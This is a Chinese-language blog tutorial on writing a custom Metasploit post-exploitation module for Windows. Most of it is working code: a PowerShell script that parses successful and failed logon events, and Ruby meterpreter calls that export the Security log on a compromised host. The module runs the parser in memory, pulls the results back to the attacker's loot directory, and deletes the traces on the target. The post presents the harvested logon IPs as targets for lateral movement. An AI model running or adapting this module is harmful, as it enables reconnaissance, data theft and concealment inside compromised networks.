打造定制化的Metasploit—安全日志分析

君子藏器于身待时而动,安全不露圭角覆盂之安。

——AnonySec

https://payloads.cn

前言

对于Windows安全日志的分析,可以判断出哪些IP对该主机进行登录过。当然,这也可以作为内网横向的目标之一。通过PowerShell就可以完成此操作,但用Metasploit如何实现内存执行ps1呢?

EventLog.ps1

首先简单解读下EventLog.ps1:它使用WEVTUtil+PowerShell将外部日志导出csv,此种方法优点就是快,需要导入外部evtx。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
Param (
[string]$evtx = $pwd.Path+"\*_Security.evtx"
)

$time=Get-Date -Format h:mm:ss
$evtx=(Get-Item $evtx).fullname
$outfile="C:\Windows\Temp\"+(Get-Item $evtx).BaseName+".csv"

$logsize=[int]((Get-Item $evtx).length/1MB)

write-host [+] $time Load $evtx "("Size: $logsize MB")" ... -ForegroundColor Green
[xml]$xmldoc=WEVTUtil qe $evtx /q:"*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and (EventID=4624 or EventID=4625)] and EventData[Data[@Name='LogonType']='3'] or EventData[Data[@Name='LogonType']='10']]" /e:root /f:Xml /lf

$xmlEvent=$xmldoc.root.Event

function OneEventToDict {
Param (
$event
)
$ret = @{
"SystemTime" = $event.System.TimeCreated.SystemTime | Convert-DateTimeFormat -OutputFormat 'yyyy"/"MM"/"dd HH:mm:ss';
"EventID" = $event.System.EventID
}
$data=$event.EventData.Data
for ($i=0; $i -lt $data.Count; $i++){
$ret.Add($data[$i].name, $data[$i].'#text')
}
return $ret
}

filter Convert-DateTimeFormat
{
Param($OutputFormat='yyyy-MM-dd HH:mm:ss fff')
try {
([DateTime]$_).ToString($OutputFormat)
} catch {}
}

$time=Get-Date -Format h:mm:ss
write-host [+] $time Extract XML ... -ForegroundColor Green
[System.Collections.ArrayList]$results = New-Object System.Collections.ArrayList($null)
for ($i=0; $i -lt $xmlEvent.Count; $i++){
$event = $xmlEvent[$i]
$datas = OneEventToDict $event

$results.Add((New-Object PSObject -Property $datas))|out-null
}

$time=Get-Date -Format h:mm:ss
write-host [+] $time Dump into CSV: $outfile ... -ForegroundColor Green
$results | Select-Object SystemTime,IpAddress,TargetDomainName,TargetUserName,EventID,LogonType | Export-Csv $outfile -NoTypeInformation -UseCulture -Encoding Default -Force

EventID=4624 成功登录
EventID=4625 失败登录
Logon type 3 Network 网络登录
Logon Type 10 RemoteInteractive 远程登录

d8cb33382da4948e6d72945529cdad01

借助EventLog.ps1,接下来开始编写Metasploit模块。

执行命令

先要导出安全日志,就需要远程执行系统命令,这里使用meterpreter中的execute,并创建随机名字导出。

1
2
3
4
5
6
7
# 随机字母数字8位
sec = Rex::Text.rand_text_alphanumeric(8)
print_good("#{sec}")

# lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb
# wevtutil.exe管理员权限运行
session.sys.process.execute("wevtutil.exe epl Security C:\\Windows\\Temp\\#{sec}.evtx")

399e34c95cea638fea05bdf555cc5b87

载入ps1

原本想将EventLog.ps1写在该模块中,之后读取写入在目标机中,再去执行。但.ps1格式需要调整,比较麻烦。

换个思路,本地载入读取。经几番查阅,Metasploit可以内存加载,这样就不需要将脚本上传到目标机中,但需要将EventLog.ps1提前放在/data/post/powershell/EventLog.ps1目录下。(可自定义)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
command = "C:\\Windows\\Temp\\" + "#{sec}.evtx"

def execute_eventlog_script(command)
print_good("Start Execute EventLog Script ...")
# /data/post/powershell/EventLog.ps1
psh_script = File.read(File.join(Msf::Config.data_directory, "post", "powershell", "EventLog.ps1"))
# 压缩脚本
compressed_script = compress_script(psh_script) + command
# print_status("#{compressed_script}")
cmd_out, runnings_pids, open_channels = execute_script(compressed_script)

while(log = cmd_out.channel.read)
print ("#{log}")
end
end

8e8fd266833df6dcce5d37f757e01262

注:因是内存加载,目标机不需要开启运行ps1脚本。

ea6da9fbc5ef0bfb412580a154130ff9

不要忘记载入Powershell类。

1
include Msf::Post::Windows::Powershell

文件操作

既然安全日志已经被分析完成了,那就需要将分析结果取回本地,并将遗留在目标中的文件进行删除,这里使用meterpreter中的downloadrm

1
2
3
4
5
6
dir = Msf::Config.loot_directory

# lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb
session.fs.file.download_file("#{dir}/#{rhost}-Security.csv","C:\\Windows\\Temp\\#{sec}.csv")
session.fs.file.rm("C:\\Windows\\Temp\\#{sec}.evtx")
session.fs.file.rm("C:\\Windows\\Temp\\#{sec}.csv")

完整模块运行Demo:

5054930e4dcc2f0f982a47be99183bd5

References